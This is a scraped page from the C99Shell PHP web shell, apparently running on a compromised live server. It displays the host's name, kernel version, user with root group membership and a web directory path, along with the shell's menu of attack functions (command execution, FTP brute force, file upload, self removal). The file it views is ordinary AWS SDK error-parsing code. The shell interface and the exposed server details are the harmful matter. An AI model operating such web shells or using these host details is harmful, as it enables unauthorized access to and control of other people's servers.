!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/aws/aws-sdk-php/src/Api/ErrorParser/   drwxr-xr-x
Free 28.69 GB of 117.98 GB (24.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AbstractErrorParser.php (2.89 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Aws\Api\ErrorParser;

use 
Aws\Api\Parser\MetadataParserTrait;
use 
Aws\Api\Parser\PayloadParserTrait;
use 
Aws\Api\Service;
use 
Aws\Api\StructureShape;
use 
Aws\CommandInterface;
use 
Psr\Http\Message\ResponseInterface;

abstract class 
AbstractErrorParser
{
    use 
MetadataParserTrait;
    use 
PayloadParserTrait;

    
/**
     * @var Service
     */
    
protected $api;

    
/**
     * @param Service $api
     */
    
public function __construct(Service $api null)
    {
        
$this->api $api;
    }

    abstract protected function 
payload(
        
ResponseInterface $response,
        
StructureShape $member
    
);

    protected function 
extractPayload(
        
StructureShape $member,
        
ResponseInterface $response
    
) {
        if (
$member instanceof StructureShape) {
            
// Structure members parse top-level data into a specific key.
            
return $this->payload($response$member);
        } else {
            
// Streaming data is just the stream from the response body.
            
return $response->getBody();
        }
    }

    protected function 
populateShape(
        array &
$data,
        
ResponseInterface $response,
        
CommandInterface $command null
    
) {
        
$data['body'] = [];

        if (!empty(
$command) && !empty($this->api)) {

            
// If modeled error code is indicated, check for known error shape
            
if (!empty($data['code'])) {

                
$errors $this->api->getOperation($command->getName())->getErrors();
                foreach (
$errors as $key => $error) {

                    
// If error code matches a known error shape, populate the body
                    
if ($data['code'] == $error['name']
                        && 
$error instanceof StructureShape
                    
) {
                        
$modeledError $error;
                        
$data['body'] = $this->extractPayload(
                            
$modeledError,
                            
$response
                        
);
                        
$data['error_shape'] = $modeledError;

                        foreach (
$error->getMembers() as $name => $member) {
                            switch (
$member['location']) {
                                case 
'header':
                                    
$this->extractHeader($name$member$response$data['body']);
                                    break;
                                case 
'headers':
                                    
$this->extractHeaders($name$member$response$data['body']);
                                    break;
                                case 
'statusCode':
                                    
$this->extractStatus($name$response$data['body']);
                                    break;
                            }
                        }

                        break;
                    }
                }
            }
        }

        return 
$data;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.007 ]--